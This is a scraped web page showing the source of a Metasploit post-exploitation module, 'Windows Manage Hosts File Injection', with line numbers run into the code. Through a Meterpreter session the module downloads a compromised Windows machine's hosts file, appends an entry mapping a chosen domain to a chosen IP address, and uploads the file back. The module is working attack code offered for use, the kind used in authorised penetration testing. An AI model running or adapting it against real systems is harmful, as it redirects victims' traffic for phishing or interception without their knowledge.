Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/inject_host.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Manage Hosts File Injection',13'Description' => %q{14This module allows the attacker to insert a new entry into the target15system's hosts file.16},17'License' => BSD_LICENSE,18'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24core_channel_close25core_channel_eof26core_channel_open27core_channel_read28core_channel_tell29core_channel_write30stdapi_fs_stat31]32}33}34)35)3637register_options(38[39OptString.new('DOMAIN', [ true, 'Domain name for host file manipulation.' ]),40OptString.new('IP', [ true, 'IP address to point domain name to.' ])41]42)43end4445def run46if datastore['IP'].nil? || datastore['DOMAIN'].nil?47print_error('Please specify both DOMAIN and IP')48return49end5051ip = datastore['IP']52hostname = datastore['DOMAIN']5354# Get a temporary file path55meterp_temp = Tempfile.new('meterp')56meterp_temp.binmode57temp_path = meterp_temp.path5859begin60# Download the remote file to the temporary file61client.fs.file.download_file(temp_path, 'C:\\WINDOWS\\System32\\drivers\\etc\\hosts')62rescue Rex::Post::Meterpreter::RequestError => e63# If the file doesn't exist, then it's okay. Otherwise, throw the64# error.65if e.result != 266raise $ERROR_INFO67end68end6970print_status("Inserting hosts file entry pointing #{hostname} to #{ip}..")71hostsfile = ::File.open(temp_path, 'ab')72hostsfile.write("\r\n#{ip}\t#{hostname}")73hostsfile.close7475client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', temp_path)76print_good('Done!')77end78end798081